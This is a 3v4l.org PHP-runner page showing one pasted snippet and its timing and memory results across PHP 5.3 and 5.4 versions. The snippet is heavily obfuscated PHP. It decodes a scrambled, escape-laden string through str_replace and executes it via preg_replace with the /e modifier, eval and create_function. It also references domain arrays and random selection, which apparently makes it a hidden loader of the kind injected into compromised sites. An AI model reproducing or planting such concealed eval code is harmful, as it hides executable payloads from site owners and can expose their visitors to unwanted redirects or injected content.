3v4l.org

run code in 300+ PHP versions simultaneously
<?php $ee1 = array( '\14', ', $', ') { ', '[$i]', 'substr($', 'a = $xx("|","', ',strpos($y,"9")', ' = str_replace($', 'x3', '\x7', '\15', ';$i++) {', 'function ', 'x6', '); ', 'for($i=0;$i<sizeof($', '); } create_function("", "};".$', ' = explode("' ); $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; preg_replace("/(.*)/e", 'eval('str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99));', '');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.300.0140.04412.50
5.4.290.0190.04212.50
5.4.280.0060.04412.40
5.4.270.0130.04712.40
5.4.260.0100.05012.40
5.4.250.0070.04112.40
5.4.240.0070.04212.40
5.4.230.0080.04312.39
5.4.220.0090.04712.39
5.4.210.0100.05412.39
5.4.200.0080.03812.39
5.4.190.0060.04112.39
5.4.180.0070.04012.39
5.4.170.0040.04112.39
5.4.160.0070.05012.39
5.4.150.0090.03512.38
5.4.140.0090.03912.08
5.4.130.0050.05412.05
5.4.120.0100.05212.02
5.4.110.0130.04812.02
5.4.100.0090.05212.02
5.4.90.0100.05312.02
5.4.80.0040.04012.02
5.4.70.0080.03612.01
5.4.60.0070.03612.01
5.4.50.0050.03812.02
5.4.40.0070.03412.00
5.4.30.0060.05112.00
5.4.20.0060.03512.00
5.4.10.0090.03212.00
5.4.00.0050.03711.49
5.3.280.0070.04112.71
5.3.270.0120.06312.73
5.3.260.0080.05712.71
5.3.250.0080.05412.72
5.3.240.0120.04012.72
5.3.230.0070.04212.71
5.3.220.0040.04012.68
5.3.210.0090.04212.68
5.3.200.0060.04312.68
5.3.190.0050.04212.68
5.3.180.0050.04112.67
5.3.170.0090.03612.66
5.3.160.0060.04512.67
5.3.150.0060.05612.68
5.3.140.0100.03912.66
5.3.130.0070.04312.66
5.3.120.0090.03812.66
5.3.110.0090.03912.66
5.3.100.0090.04212.11
5.3.90.0080.03812.09
5.3.80.0080.04812.07
5.3.70.0070.04612.08
5.3.60.0040.04012.07
5.3.50.0060.04012.00
5.3.40.0040.04012.00
5.3.30.0110.03211.95
5.3.20.0070.03911.73
5.3.10.0090.03411.70
5.3.00.0060.03811.69

preferences:
134.15 ms | 1398 KiB | 7 Q